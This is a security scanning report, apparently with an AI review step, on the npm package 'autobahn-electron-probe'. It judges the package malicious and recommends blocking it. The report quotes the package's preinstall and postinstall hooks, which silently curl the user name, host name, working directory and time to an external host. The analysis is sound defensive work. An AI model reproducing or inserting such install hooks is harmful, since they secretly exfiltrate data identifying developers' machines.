The behavior runs both before and after installation without user interaction. - **Trigger:** npm installation activates the preinstall and postinstall hooks. - **Impact:** An external operator receives the installing account name, host name, project path, and installation time. - **Evidence paths:** package.json, index.js - **Review source:** ai\_review - **Reviewed:** 2026-08-30T01:04:49.797Z ### AI review details - **Review stage:** source\_first\_review - **Mechanism:** Silent curl-based host fingerprint exfiltration. - **Attack narrative:** The manifest defines automatic preinstall and postinstall shell hooks. Each invokes curl to send the current user name, host name, working directory, and timestamp to a fixed external host, while redirecting output away and tolerating errors. This is unconsented install-time environment and project metadata exfiltration. - **Rationale:** Direct source inspection confirms two automatic lifecycle hooks that silently exfiltrate host and project identifiers to an unrelated endpoint. The benign placeholder entrypoint does not mitigate install-time collection. - **Files touched:** package.json - **Network endpoints:** http://da9nu7avbsgtvoua4om0746ibn3suot7h.cyowl.com/autobahn-electron-probe/ ### Review decision - **Verdict:** Malicious - **Confidence:** 99.0% - **Recommended action:** publish\_block - **Intent class:** Malware - **False-positive risk:** Low - **Evidence for:** The preinstall hook silently sends the current username, hostname, working directory, and timestamp to an unrelated remote host., The postinstall hook repeats the same host-fingerprinting callback after installation., Both callbacks suppress output and ignore failures, making the collection silent. - **Evidence against:** The package entrypoint is only a harmless placeholder sentence., No additional package files or runtime payloads are present. ## Public findings ### 1.

Low: Scripts Present - **Category:** Manifest - **Confidence:** 100.0% Package declares npm scripts. ### 5. High: Manifest Script Host Fingerprint Callback - **Category:** Source - **Confidence:** 94.0% - **Path:** package.json\#scripts.preinstall - **Public source:** [View source]() An npm script sends host identity through command substitution to a fixed external destination. Public source snippet (untrusted): ```text scripts.preinstall = curl -s "http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)" > /dev/null || true ``` ### 6. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The preinstall hook silently sends the current username, hostname, working directory, and timestamp to an unrelated remote host. Public source snippet (untrusted): ```json "preinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true", ``` ### 7. High: Suspicious Lifecycle Evidence - **Category:** Manifest - **Confidence:** 99.0% - **Path:** package.json - **Public source:** [View source]() The postinstall hook repeats the same host-fingerprinting callback after installation. Public source snippet (untrusted): ```json "postinstall": "curl -s \"http://[redacted].cyowl.com/autobahn-electron-probe/?u=$(whoami)&h=$(hostname)&d=$PWD&t=$(date +%s)\" > /dev/null || true ``` ## Dependencies and install lifecycle - **Lifecycle scripts present:** Yes - **Published lifecycle scripts:** postinstall, preinstall - **Dependencies:** 0 - **Optional dependencies:** 0 - **Peer dependencies:** 0 - **Development dependencies:** 0 - **Published dependency-graph edges:** 0 ## Package metadata - **Package:** autobahn-electron-probe - **Ecosystem:** npm - **Version:** 99.99.1 - **License:** ISC - **Version published:** 2026-08-30T00:58:58.123Z - **Package first seen:** 2026-08-27T13:17:34.452Z - **Package last seen:** 2026-08-30T02:08:07.089Z - **Known versions:** 4 - **Latest version:** 99.99.3 - **Appeal under review:** No - **Description:** A benign placeholder for npm. - **Author:** chux - **Artifact files:** 2 - **Artifact unpacked size:** 618 bytes - **Artifact signatures:** 1 - **Attestations:** No ## References - [HTML security report]()
